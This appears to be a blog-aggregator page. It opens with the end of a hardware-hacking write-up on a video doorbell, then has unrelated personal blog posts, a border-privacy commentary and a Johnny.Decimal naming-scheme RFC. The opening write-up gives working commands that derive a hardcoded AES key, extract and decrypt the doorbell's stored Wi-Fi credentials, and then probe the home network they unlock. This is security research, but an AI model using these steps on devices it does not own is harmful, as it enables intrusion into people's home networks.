    pbVar1 = pbVar1 + 1;
    __s = pcVar2;
  } while (pcVar2 != param_2 + 0x10);
  param_2[0x10] = '\0';
  return;
}

This gives us the string used as key to encrypt/decrypt the configutation file: C0C714B43806EF49 => 43304337313442343338303645463439. It’s derived from hardcoded data, so it should be the same between devices.

The encrypted file (called es_config) was in my case the following:

=> xxd es_config                                                     
00000000: b000 b622 0971 cee1 c1b5 0ecc d749 4e58  ...".q.......INX
00000010: e11d 1f8d 6769 ed50 9f19 fb1e eaf7 c33b  ....gi.P.......;
00000020: 5463 9269 fdde 70cc bf18 71a0 19df c33a  Tc.i..p...q....:
00000030: ed48 6c31 061a efa9 68de c7e2 eb93 b00a  .Hl1....h.......
00000040: 39be 83ce ecf6 0158 6717 4a08 a8eb 249e  9......Xg.J...$.
00000050: 33af 83ce ecf6 0158 6717 4a08 a8eb 249e  3......Xg.J...$.
00000060: 33af 22e3 f819 b5f1 e581 a605 83ff e623  3."............#
00000070: 6a1a 45ee 48c1 e43a 1719 1c24 8bf9 0657  j.E.H..:...$...W
00000080: 611b 952e 365a 740a 6f0e 3692 39b8 2490  a...6Zt.o.6.9.$.
00000090: 516a 83ce ecf6 0158 6717 4a08 a8eb 249e  Qj.....Xg.J...$.
000000a0: 33af 83ce ecf6 0158 6717 4a08 a8eb 249e  3......Xg.J...$.
000000b0: 33af                                     3.

And after decrypting it we can see our OCEAN_XXXXXX SSID and its password:

=> tail -c +3 es_config | openssl enc -aes-128-ecb -d -nopad -K 43304337313442343338303645463439 |xxd
00000000: 5354 5344 4b00 0000 0100 4f43 4541 4e5f  STSDK.....OCEAN_
00000010: 4539 4135 4643 0000 0000 0000 0000 0000  E9A5FC..........
00000020: 0000 0000 0000 0000 0000 4631 5653 5866  ..........F1VSXf
00000030: 4e51 4c5f 5a43 6433 6b00 0000 0000 0000  NQL_ZCd3k.......
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 c0a8 2005 0000  ............ ...
00000070: 0001 0203 0405 0607 0809 0a0b 0c0d 0e0f  ................
00000080: 0000 0004 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Instead of carving and extracting all the files in the firmware, once I identified the existence of this es_config encrypted file I “semi” automatized its extraction. First we extract the mtdparts variables used by U-Boot from the flash dump:

=> firmware_doorbell.bin|grep mtdparts                    
Imtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)
mtdparts
mtdparts=
loglevel=0 rootfstype=erofs rootflags=dax console=ttyFIQ0 root=/dev/rd0 snd_soc_core.prealloc_buffer_size_kbytes=16 coherent_pool=0 driver_async_probe=dwmmc_rockchip rk_dma_heap_cma=22M mtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)
loglevel=0 rootfstype=erofs rootflags=dax console=ttyFIQ0 root=/dev/rd0 snd_soc_core.prealloc_buffer_size_kbytes=16 coherent_pool=0 driver_async_probe=dwmmc_rockchip rk_dma_heap_cma=22M mtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)
loglevel=0 rootfstype=erofs rootflags=dax console=ttyFIQ0 root=/dev/rd0 snd_soc_core.prealloc_buffer_size_kbytes=16 coherent_pool=0 driver_async_probe=dwmmc_rockchip rk_dma_heap_cma=22M mtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)
loglevel=0 rootfstype=erofs rootflags=dax console=ttyFIQ0 root=/dev/rd0 snd_soc_core.prealloc_buffer_size_kbytes=16 coherent_pool=0 driver_async_probe=dwmmc_rockchip rk_dma_heap_cma=22M mtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)

Then we copy the content after “=” and use this one-liner to extract the filesystem into /tmp/user.bin:

=> mtdparts='sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)'; part=user; eval $(echo "$mtdparts" | awk -v p="$part" 'function cv(x){if(x~/K$/)return substr(x,1,length(x)-1)*1024;if(x~/M$/)return substr(x,1,length(x)-1)*1048576;if(x~/G$/)return substr(x,1,length(x)-1)*1073741824;return x}{split($0,a,":");n=split(a[2],b,",");o=0;for(i=1;i<=n;i++){split(b[i],c,"[()]");split(c[1],d,"@");s=cv(d[1]);if(d[2])o=cv(d[2]);if(c[2]==p){print "skip="o" count="s;exit}o+=s}}'); dd if=firmware_doorbell.bin of=/tmp/$part.bin bs=1 skip=$skip count=$count

=> file /tmp/user.bin 
/tmp/user.bin: Linux jffs2 filesystem data little endian

Finaly just use jffs2reader to extract the config file (and decrypt it).

=> jffs2reader /tmp/user.bin -f /es_config | tail -c +3 | openssl enc -aes-128-ecb -d -nopad -K 43304337313442343338303645463439 |xxd
00000000: 5354 5344 4b00 0000 0100 4f43 4541 4e5f  STSDK.....OCEAN_
00000010: 4539 4135 4643 0000 0000 0000 0000 0000  E9A5FC..........
00000020: 0000 0000 0000 0000 0000 4631 5653 5866  ..........F1VSXf
00000030: 4e51 4c5f 5a43 6433 6b00 0000 0000 0000  NQL_ZCd3k.......
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 c0a8 2005 0000  ............ ...
00000070: 4242 4242 3346 3138 3746 3343 3631 3537  BBBB3F187F3C6157
00000080: 0000 0006 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0100 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

If someone has access to a doorbell, and nothing alerted the owner because it was jammed as we shown before, in 5 minutes can manipulate it to dump its flash memory and extract the hidden network credentials. Or well, just steal it and dump it at home. As I explained at the begining of this journey, the homebase network is not isolated. If you connect to this wifi you can browser internet using the home network and also you can reach other devices (like the router) in the home network:

=>   iwconfig
lo        no wireless extensions.

eno1      no wireless extensions.

wlp1s0    IEEE 802.11  ESSID:"OCEAN_E9A5FC"  
          Mode:Managed  Frequency:2.437 GHz  Access Point: 90:BF:D9:E9:A5:FC   
          Bit Rate=130 Mb/s   Tx-Power=22 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=67/70  Signal level=-43 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

virbr0    no wireless extensions.

tailscale0  no wireless extensions.

docker0   no wireless extensions.

3: wlp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 18:26:49:11:82:9e brd ff:ff:ff:ff:ff:ff
    inet 192.168.32.100/24 brd 192.168.32.255 scope global dynamic noprefixroute wlp1s0
       valid_lft 86368sec preferred_lft 86368sec
    inet6 fe80::8339:84a3:5f01:ad64/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

=>   ping google.es
PING google.es (216.58.204.195) 56(84) bytes of data.
64 bytes from lcmadb-ah-in-f3.1e100.net (216.58.204.195): icmp_seq=1 ttl=117 time=37.7 ms
64 bytes from lcmadb-ah-in-f3.1e100.net (216.58.204.195): icmp_seq=2 ttl=117 time=42.5 ms
^C
--- google.es ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 37.683/40.087/42.492/2.404 ms

Some testing devices/platforms I could reach that are deployed at the same router than the Homebase:

=>   curl -I 192.168.90.1
HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=20
ETag: "18c-1ef-5687f92e"
Last-Modified: Sat, 02 Jan 2016 16:22:06 GMT
Date: Tue, 28 Jul 2026 20:13:45 GMT
Content-Type: text/html
Content-Length: 495

=>   curl -I 192.168.51.151
HTTP/1.1 302 Found
Server: nginx
Date: Tue, 28 Jul 2026 20:14:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Cache-Control: no-cache
Content-Security-Policy: 
Location: http://192.168.1.201/users/sign_in
Nel: {"max_age": 0}
Permissions-Policy: interest-cohort=()
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Gitlab-Meta: {"correlation_id":"01KYN5SXMW6YDPK131DD9G3X88","version":"1"}
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01KYN5SXMW6YDPK131DD9G3X88
X-Runtime: 0.040059
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=63072000
Referrer-Policy: strict-origin-when-cross-origin

Of course this Wifi allows to interact with network services exposed by the Homebase itself… although I’ll research more this side once I can dump the firmware }:P

Not shown: 65341 closed tcp ports (conn-refused)
PORT      STATE SERVICE     REASON  VERSION
53/tcp    open  domain      syn-ack dnsmasq 2.90
554/tcp   open  rtsp        syn-ack
9000/tcp  open  cslistener? syn-ack
10400/tcp open  unknown     syn-ack
10402/tcp open  unknown     syn-ack
10404/tcp open  unknown     syn-ack
10600/tcp open  tcpwrapped  syn-ack
20030/tcp open  unknown     syn-ack
20031/tcp open  unknown     syn-ack
32290/tcp open  tcpwrapped  syn-ack
32292/tcp open  tcpwrapped  syn-ack
32293/tcp open  unknown     syn-ack
32295/tcp open  unknown     syn-ack
32392/tcp open  tcpwrapped  syn-ack
43928/tcp open  unknown     syn-ack

0x05 Final words

It has been two years since I last wrote on this blog. During that time, I’ve done some research, but it was always related to my work as a Red Teamer (and, honestly, it had become increasingly dismal). Being able to rediscover the feeling of “hacking” something just for fun, and spending hours researching purely for the joy of learning, has been amazing. I’ve reconnected with my old inner owl.

I hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

Teardown 2026 - Hey, it's Jason!

2026-07-28T00:00:00.000Z

A quick recap of my attendance of the Teardown 2026 conference!

Wonders of Web Weaving, Episode 12 - James' Coffee Blog

2026-07-28T00:00:00.000Z

The twelfth episode of Wonders of Web Weaving is out:

In Episode 12, I chat with Georgie, the author of Hey Georgie about, among other things, writing about travelling, blogging as a self-reflection tool, why someone should start a personal website today, and more.

I hope you enjoy the episode!

Wonders of Web Weaving also has an RSS feed you can use to follow along from wherever you get your podcasts.

Georgie Hey Georgie The twelfth episode of Wonders of Web Weaving is out Wonders of Web Weaving also has an RSS feed

RetroAchievements, a football match, and visits - W30 - Joel's Log Files

2026-07-27T21:10:00.000Z

It feels like not a lot happened this week. My workplace has been rather boring, my gym-going is pretty standard, there were a lot of things happening on my gaming side, and such, but well, here’s a summary of things.

Oh right, the weather. This week was rather sunny for once, seems like the rainy days are coming to an end, at least for now. Did I mention my house flooded for like three days? It was only in short periods though but they were quite frantic moments. Basically water rose from the toilet and the shower drain. There was something stuck in the plumbing (I think they were tree roots) which made things a mess. Thankfully the water wasn’t really dirty nor stinky, we just had to do open the door while it rained and lead the water outside. All of that happened in previous weeks though, not this one.

🕹️ I set-up RetroAchievements on my Anbernic handheld, I tried plenty of games because of it which I’ll mention later. In case you are curious, I simply installed the RAOfflineProxy and followed the instructions from the repo, after logging in to my account in the device, I had no issues whatsoever. Great stuff!
📷 I figured out how to take screenshots with my modded Nintendo 3DS, you just hold L + Down + SELECT, and that opens up the Luma menu, from where you can take a screenshot! I then used SFTP to transfer those files to my phone. I do admit I still prefer taking pictures of my 3DS, The screen looks better, as the screenshots are rather low res.
🌮 There have been be a lot of family and friend visits this week. These are friends I had not seen for five or so years, it was nice to catch up a bit. We went out to a few restaurants and had some of the local snacks and the like, you know, touristy stuff for people visiting our city. Had a lot of fun!
🚲 Because of all the visits, this is the first time where I did not go cycling at all. This was a bit sad but I don’t feel bad about it that much, because I replaced it with another exercise, which I’ll mention below…
⚽ For the first time in ages, I played football with some kids in the block. I rarely do this but they were just two kids (like 15 or so years old) and they seemed to be looking for a cascarita—that’s how Mexicans refer to street football games, another term would be “retas”—we played for almost two hours and it was really awesome! I was terrible though, it was just a quick 3 vs 3 and although I scored half a dozen goals, they’d score like, 20+, I was teaming up with the oldest kid and the younger ones were ruining us. I had fun nonetheless.
🎧 Gotta say I have finally started to listen to some more episodes of the Wolf 359 podcast drama and I got to some of my favorites of the whole show! I am really looking forward to completing it again.
🎵 Also I’m still working on my review of Transistor but I purchased the soundtrack on Bandcamp!

Collage of the week!

</figure> ## Gaming My gaming has been a mess this week, in the best way possible. Right when I thought I would have plenty to play with on my 3DS, I decided it would be a good idea to set-up offline RetroAchievements on my Anbernic handheld. Once I had the proxy working, I went on a quest to try out some games! The first one was **Astro Boy: Omega Factor**, one of those Game Boy Advance games that have a lot going on. I have already played it for hours before, and reached its final stage, however, this game has multiple endings and some tricks up its sleeve, don't sleep on it! Not your regular beat'em up at all. In any case, RetroAchievements worked! After that I tried some other shorter titles, such as **Donkey Kong (1994)**, which I had never tried---when I did I lost all my lives in the first stage---so I started over and have had way too much fun! The pixelart and the music, the mechanics are all there! Truly lovely game for coffee breaks and quick two-minute sessions. Another title Game Boy game I tried out of nowhere was a homebrew game called [**Jabberwocky**](), you can get this one from itch and it's just a short little story that takes about 20 minutes to complete. There is like one or two puzzles and it's mostly all about the character and writing. It was very fun and got me to laugh a bit, and it had achievements! The last of my geek time was spent installing [Dusklight](), a reverse-engineered port of **The Legend of Zelda: Twilight Princess** that works on Linux like a charm. I only saw the starting menu and the first dialogue box, I closed the game soon after, ready to go whenever I'm up for it. The one game that caught my eye the most this week was **The Legend of Zelda: Ocarina of Time**. There's a reason I ended up writing a whole post [about the beginning hours of the game](/blog/return-to-oot/) sharing my experience and comparing it to when I played it as a youngling. I've made so much progress and I truly love the experience so far. After the post I have already completed the Dodongo Cavern dungeon, obtained all the Great Fairy powers a truly timeless game already, for real! That isn't to say that my interest for **Fire Emblem Awakening** has diminished in any way! Since I'm playing Ocarina along with Syl, I wait for her to catch up while I return to this one. I have made a few more battles and leveled up a lot of characters that haven't seen enough attention from me. I have been focusing on Sumia and Stahl, two characters that weren't even level 10 for a while. I pair them up with high level characters and play on Auto mode in some of the low level battles in the map. Of course, I also progressed through the main story, unlocked one more paralogue (I have like three pending) and reached chapter 19 of the main plot. It's been an entertaining journey! ## Watching It's finally out, the one and only **Avatar Aang: The Last Airbender** on *Paramount+*! I decided to wait and pay to check this one out, and I must say, it was absolutely incredible! The animation team did their absolute best in every frame of this film, it was a joy to see the gaang together saving the world once more. Don't get me wrong, the film has some issues and it is carried by nostalgia in some of those, but that doesn't make it any less epic for me, I love the Avatarverse (not the James Cameron one, though it has earned its place by now I think) and I want more works based on this franchise. Epic stuff, it healed me, removing the bad taste the Live Action show has left in me so far. I really wish they eventually give it a proper release on theaters, it really deserves a watch on the big screen. ## Reading - ✨ **Centuria** by Tori Kuramori - Up to chapter 2. It's about a young man sold to slavery, who experiences kindness for the first time while sailing across the sea, with another hundred slaves. However, a storm wreaks havoc, a cruel deal with a god is made, and he is given extraordinary power, at the cost of an innocent life. He will use this strength obtained through to fight for a better life and protect a baby, the only other survivor left in his care. So far I enjoy the art and the plot, and we'll see how the story evolves over time.... - **Blue Lock** - Up to chapter 354. The match against England is finally going to start, so I am looking forward to that. The pacing has been quite slow as the set-up was being done, but I'm looking forward to see what happens! - **Uncle from Another World** - Up to chapter 25. I forget how this manga has chapters above 30+ pages long, only three were read but it continues to be very funny to me. ## Around the Web ### Blog posts - [I Don’t Think I Can Accept Roblox](https://discardpile.pika.page/posts/i-dont-think-i-can-accept-roblox) - A pretty nuanced article on one of the most popular videogames of modern years. It's a long one! - [Postliterate America](https://janerationx.me/posts/postliterate-america) - Once again, *The Machine Stops* by E.M. Forster continues to predict how things would end up for us. Great post. - [January 8th, 2020](https://brandons-journal.com/post/january-8th-2020) - An incredible trip to the past, when Brandon started his blog and when he tried to keep his blog positive and fun. This has been challenging to keep up for him lately, but he still wants to. - [Not Logging, Just Blogging](https://syls.blog/not-logging-just-blogging/) - Syl has had a difficult time keeping up with tracking absolutely everything and has decided to step away from trying to do something she doesn't enjoy as much, totally valid! Especially if it means the few games and media mentioned are those that she truly loves! - [I Guess I'm Playing The Long Game Now](https://brainbaking.com/post/2026/07/i-guess-im-playing-the-long-game-now/) - Wouter has been having some parenting issues, dealing with the pressure of it all. I am no father and I'm not close to being one, but I appreciate his outlook on this post. ### YouTube Once again, too many videos to really explain here, just a short one liner once again. - [Games That Are Beyond Comparison](https://youtu.be/w3vdfjMFII4) - Featuring 13 Sentinels and some others. - [The Last Honest Movie Star](https://youtu.be/1leVuo5M6w4) - Surprisingly awesome documentary on Matt Damon. - [I Made “Elden Ring” on the N64 (And you can play it)](https://youtu.be/wgg7pXWg3h4) - This looks incredible though it's a single boss. - [Should you buy a $1 PS3?](https://youtu.be/rvjhRmXramc) - The answer is yes and now I'm in danger. - [Why the Ice Arrows Accidentally Became Useless](https://youtu.be/vusoGpkndDo) - On some hints at early plans for Ocarina of Time that were scrapped. - [Perfect Coffee Break Games](https://youtu.be/_RPiYvEvesE) - Short retro games to play. - [Zelda But it's a Modern Game (FULL MOVIE)](https://youtu.be/rIssjB5S6mM) - This is a trainwreck I couldn't stop watching. - [I Tried to Beat the First Zelda Completely Blind](https://youtu.be/93zjLkJmT5k) - A very entertaining playthrough. This is day 4 of [#100DaysToOffload](https://100daystooffload.com)

Reply to this post via email | Reply on Fediverse

📝 2026-07-27 17:54: The poor buzzard was still there when I was walking the dogs this morning, so... - Kev Quirk

2026-07-27T16:54:00.000Z

The poor buzzard was still there when I was walking the dogs this morning, so clearly something was wrong. Luckily my wife was able to get hold of a local falconer who was able to catch him and hopefully nurse him back to health. 🦅

Thanks for reading this post via RSS. RSS is ace, and so are you. ❤️

You can reply to this post by email, or leave a comment.

Published on Citation Needed: "Mapping Trump’s crypto empire on Last Week Tonight" - Molly White's activity feed

2026-07-27T14:22:04.000Z

Published an issue of Citation Needed:

Mapping Trump’s crypto empire on Last Week Tonight

A new Citation Needed data project maps the Trump family’s web of cryptocurrency ventures, which have been generating billions in income for the president.

Mapping Trump’s crypto empire on Last Week Tonight - Molly White's activity feed

2026-07-27T14:01:32.000Z

Mapping Trump’s crypto empire on Last Week Tonight

My newest Citation Needed project made an appearance on Last Week Tonight with John Oliver! It’s a work in progress, but you can see the new interactive version of my map of the Trump family’s crypto ventures at map.citationneeded.news.

The map contains hundreds of business entities and links to the Trump family (with more being added!), augmented with data from the president’s most recent financial filings to estimate how much money is flowing in. It will be queryable by other researchers and journalists.

Click any node or connection in the Trump crypto empire map to open its panel and view explanatory annotations and citations. Toggle the income overlay to see financial-disclosure figures from the most recent filings. Search for entities, or filter by category.

Subscriber support is what makes data projects like the Trump empire map and Tech Influence Watch possible — work that goes beyond the newsletter itself. You can join them!

Don't bring sensitive data to a border crossing - Werd I/O

2026-07-27T14:00:14.000Z

Link: US government targets Cop City protester over phone operating system, by Timothy Pratt in The Guardian

This is worth knowing about and is concerning — but not necessarily for the main reason that’s being reported.

The Department of Justice is trying to prosecute Sam Tunick, an Atlanta-based activist, for allegedly using a duress password on his GrapheneOS phone when he crossed the border in January 2025.

“Agent Findley and several others repeatedly asked Tunick to open his phone during the interrogation, telling him they would seize it if he did not. When he finally provided a passcode, “the screen went blank, flashed several times and the phone appeared to restart”, according to the motion.”

The phone was wiped. According to the Department of Justice, rather than the usual unlock password, the one Tunick had provided was a signal that GrapheneOS should reset the device to factory settings. That’s the core issue: it’s not that he was using GrapheneOS or had set up a duress password, but he was accused of using it to reset his device rather than give his data to law enforcement when asked.

At the point where law enforcement or border protection are asking you for data, it’s your right to refuse a search, but you typically can’t actively destroy it. I’ve always understood that the police can’t compel you to unlock your phone without a warrant, although, unfortunately, Customs and Border Protection has an exemption around the border. If there is a warrant, or if CBP asks you in a border zone, you may still refuse to unlock it, but the device may be seized and held. The trick here, which Tunick’s lawyers are arguing, is that the request was unlawful to begin with.

Because Tunick was a part of Atlanta’s Stop Cop City protests, he had been put on a terrorist watchlist; that fact was circulated just three hours prior. That flagged him for the secondary inspection that led to him being asked to unlock his phone. Protest is protected by the first amendment and a core component of democratic speech; putting protesters on a watchlist designed to protect the public against violent extremism is undemocratic. That’s even more affronting when you consider that the protest was against a police training center: the message it sends is nakedly authoritarian. Finally, and most egregiously, the questioning was about child exploitation imagery, which they had no reason to suspect him of holding. As a result, the search may not have been legal.

While a duress password is a deliberate act of destruction, the better path when crossing the border is to not have data to seize to begin with. Anyone who deals with sensitive information should consider that their phone might be taken at the border. Customs and Border Protection policy even allows agents to clone it, giving them permanent access to your data even after they hand your device back to you. They’re only supposed to do this when there’s a national security concern or reasonable suspicion of a crime — but if activists are being targeted as terrorists, that policy threshold doesn’t feel like a solid protection.

So: log out of your email, calendar, and file sharing before you embark upon your travels. Delete Signal entirely (but back it up). Consider which photos you want to travel with. Don’t travel with a stock phone — that can lead to more questions — but intentionally cut down your information footprint. That way, even if you are stopped, you won’t compromise sources (if you’re a journalist) or your compatriots (if you’re an activist). And you’re not forced to delete data in the moment in a way that could leave you vulnerable.

RFC W0192: Use of +, ~, @; clarifying extend-the-end - Johnny.Decimal

2026-07-27T06:12:45.000Z

This post is a request for comments. I am actively seeking your feedback. This feedback will influence the development of Johnny.Decimal. Feedback closes at the end of 2026-07-30. Details are at the end.

I put this post together quickly as a result of this time constraint. (Its decisions are holding up the recording of additional Task & Project Management (T&PM) episodes.) So it's a bit rough around the edges: I'll write up something more formal when feedback is in.

One of my goals has always been for the Johnny.Decimal system to be semi-formal. By which I mean that there are clear – almost mathematical – rules that define it.

This has many benefits. Clarity, obviously. Consistency. It also enables the creation of software tools to support the system: you can't write a script to validate your system if you don't have a list of rules against which to validate.

These rules need to survive the real world. Let's be honest: they need to survive Obsidian. Obsidian is just a nice way to view Markdown files, so really what we're saying is that these rules need to survive arbitrary text files on disk. We need to imagine those text files as a database, even though they're not one.

Defining an ID

One such rule seems simple enough: an ID – which I'll refer to generically as an 'entry' in your system – is defined as AC.ID Title,¹ e.g. 11.11 I am ID eleven-eleven.²

From here, we already know that we need 2 more definitions:

The definition of category 11, which we store as 11.00 Title of category 11.
The definition of area 10-19, which we store as 10.00 Title of area 10-19.³

Folder structure

You might optionally choose to store these text files in a nested folder structure.⁴

10-19 Area ten through nineteen/
   └── 11 Category eleven/
      └── 11.11 I am ID eleven-eleven.md

In which case, ID 11.11 must be a child of folder 11, which must in turn be a child of 10-19.

But if you want to leave all your files flat in a folder, that's a style choice. It breaks no rules.

So far, nothing new. Just setting the scene.

What about additional notes?

If you've used your system for any amount of time you know that notes can get full. It can be nice to create a new file so the main file doesn't get unmanageable.

Let's start using a real example, Life Admin's 11.11 Birth certificate & proof of name (which I'll shorten for convenience).

We just said that 11.11 Birth certificate defines the ID. So I can't just create another note called 11.11 Notes from applying for copy of UK birth certificate, because now I have 2 notes with ID 11.11. Which one defines the ID, and which is just a note? There's no way to tell.

Proposal 1: `~` is used to indicate a freeform sub-note

Any file containing notes, that is not the definition of the ID, and is not an EtE note (see below), must be named:

AC.ID~ Arbitrary title of sub-note

AC.ID Title must exist, in order to define the ID.

Freeform sub-notes MAY NOT contain Johnny.Decimal system metadata.⁵ All metadata is inherited from the parent ID. (You may do as you please with your own metadata/frontmatter.)

You may think of a sub-note as functionally identical to text inside a heading of the main note.

Valid: notes inside the ID note

# 11.11 Birth certificate

## Notes from applying for UK copy

I called the service centre and spoke to Dave and he said…

Equivalent: sub-note extracted to its own file

# 11.11 Birth certificate

// is now an empty note

# 11.11~ Notes from applying for UK copy

I called the service centre and spoke to Dave and he said…

Proposal 2: `+` means 'extend-the-end'; defining 'extend-the-end'

The system has had the concept of extend-the-end (EtE) for a few years. It's useful, but I've never been totally comfortable with its definition until now.

The canonical EtE example has always been your kids, in the context of the Life Admin System (LAS). There we have 11.11 Birth certificate. You have a kid, and at 6 months it's a touch young to be managing its own Johnny.Decimal system – one day! – so you do it. How do you store the kid's birth certificate?

The answer is 11.11+ Belinda.⁶ Because she'll also need her jabs, which you'll store at 11.25+ Belinda. Maybe you open her a savings account and you track it at 13.42+ Belinda.

You can think of these extended IDs as sitting on top of your primary system; like a shadow system. You've got your system, and overlaid with these + entries you have Belinda's system. And this is why it's called extend-the-end. You're just giving yourself a little more room.

Now, to find all entries in your system that relate to Belinda, just search for + Belinda.

Formalising how you extend-the-end

So when should you EtE with +, and when should you create a sub-note with ~? The answer is: when you'll have multiple instances of the thing through your system, use +, and always name them identically. Otherwise, use ~ and you are free to name them arbitrarily.

Our examples already demonstrate this. Will any other IDs require a note whose title is, or is even remotely like, Notes from appling for UK copy of birth certificate? Obviously not: use ~.

Will we use + Belinda over and over? We will.

You should be able to list all of your extend-the-ends

Your system must necessarily contain a finite number of EtEs, and you should be able to list them all. This is what makes them useful: you're defining a type of sub-note that you can easily filter on.

At home:

+ Belinda, + Marie, + Wendy for each of the kids.

At work:

+ Work log is a note where we record the fact that we did some work on a thing; typically with a date/timestamp.
- E.g. 21.35 JDHQ has 21.35+ Work log
+ P5 ideas is a note where we record ideas that aren't solid enough to make it into our task system.⁷
- E.g. 21.35 JDHQ has 21.35+ P5 ideas
+ Meeting minutes is a note where we record minutes of meetings that relate to the ID.
- E.g. if we have a meeting specifically about JDHQ we might store the minutes at 21.35+ Meeting minutes.

Standards-in-waiting

Note that these work EtEs are likely to become recommendations of the system, i.e. if you have a need for a work-log-like note, don't call yours + My work-log. Call it + Work log and now we're all talking the same language.

In this way they become a bit template-like. We'll develop this into the Small Business System (SBS) over time.

Be consistent

Don't use + Belinda sometimes and + Bel elsewhere. Pick one.

A counter-example

As a counter-example, the SBS has ID 11.31 Internal policies. Our business has a sub-note 11.31~ Purpose, mission, values: this is the only ID that will require a note with that title, so it doesn't earn a +.

Below it our 11.32 External policies has 11.32~ Code of conduct, 11.32~ Privacy policy for the same reason.

Whereas if we had a meeting about these policies, we would store its minutes at 11.32+ Meeting minutes.

You own everything after the `+`

Parsing software will detect the + and consider it and anything that follows until the end-of-line to be the EtE pattern.

This means you are free to use a space, or to omit one. I have found that it feels natural to use a space when what follows is a sentence/word, and to omit one when what follows is a code. But this is guidance, not a rule.

An example of a code

The EtE concept was born at a job where I was dealing with 13 physical facilities. Each of those facilities had a well established shortcode e.g. E32, K07.

The Johnny.Decimal system as designed contained IDs like 53.07 Hardware delivery and 72.02 Cabling. To handle these things at each location, I extended the end:

53.07+E32 was hardware delivery to E32.
72.02+K07 was cabling at K07.

This worked beautifully. I used the IDs everywhere, across my notes, filesystem, email, and the project schedule. I could filter this schedule for +K07 to reveal all line items related to that facility.

In this case it feels natural to omit the space after the +. But if you prefer to include it, do so.

Keeping notes

Regarding notes, this works in the same way as the ~ sub-note.

Difference between `~` and `+`

To recap:

Both symbols provide a way to expand an ID that already exists.
~ is for arbitrary, unpatterned expansion.
+ is for systematic, patterned expansion.

In your filesystem

If you name your filesystem folders with the +, they sort in a group above any unstructured folders. This will probably be optional. I prefer it.

Proposal 3: `@` links Work Packages to their ID

The updates to T&PM that we're recording include the concept of 'work packages' (WPs) as introduced in this video.

What's important here is a new nomenclature. Each WP has a number like W0000 but MUST also belong to a parent ID, 12.34. You MUST indicate this in the title, which ends up looking like:

W0011@12.34 Name of work package

Previously, we had used ~ as this divider. It works really nicely – it reads like 'work package 11 relates to ID 12.34' – but this is confusing if we also use it as the arbitrary sub-note symbol.

Instead, I propose using @ for this purpose. It also reads well: 'work package 11 at ID 12.34'.

In this context it will ALWAYS be nested between the range of characters defined by the regular expression /^W[0-9]{4}@[0-9]{2}\.[0-9]{2} \S.*$/, so you're still free to use it in your own titles, including EtEs.

How to feedback

Much appreciated. ✌🏼

See AC.ID notation. ↩
You can imagine these as .md files, but I won't write out the file extension. ↩
If we want to name category 10 we need to use frontmatter inside this note. Unless specified, A0 categories are named Management of area $number. ↩
System-management zeros not shown. 11.00 is a child of 11/; 10.00 is a child of 10/. ↩
For example, a YAML block at the top of a Markdown file. ↩
You're also free to duplicate area 10-19 Life admin for Belinda, giving her her own system. The reason many prefer EtE is that this new system of hers is going to be mostly empty. EtE is simpler and requires less management. ↩
A P5 being one priority level below a P4, the lowest priority task. Ref. T&PM episode 'The P1-P4 system'. ↩

Blogs, websites, and identity - James' Coffee Blog

2026-07-27T00:00:00.000Z

In Camera, one of the songs on her latest album, CharliXCX sings:

When the camera's on
I can be anything that I wanna be
And I can feel the things I don't normally feel

When I heard these words, I couldn’t help but think about them from an art history perspective. Portraits create an image. Portraits can and have been used to express power, identity, occasion, the significance of a moment. So too can we create images with cameras: we get to decide how we pose for a selfie, how we frame the image of the flower we see that we want to capture in our minds.

⁂ ⁂ ⁂

One of the biggest transformations in my thinking with regard to images this year is that when I see someone take a photo I increasingly ask “why?” I was in the National Gallery of Scotland on Saturday looking at a Monet painting, Poplars on the Epte. I sat down and spent several minutes studying the painting. In that time, a few people came to have their photo taken with the painting. I exchanged a smile with one person posing for their friend in front of the camera and the Monet.

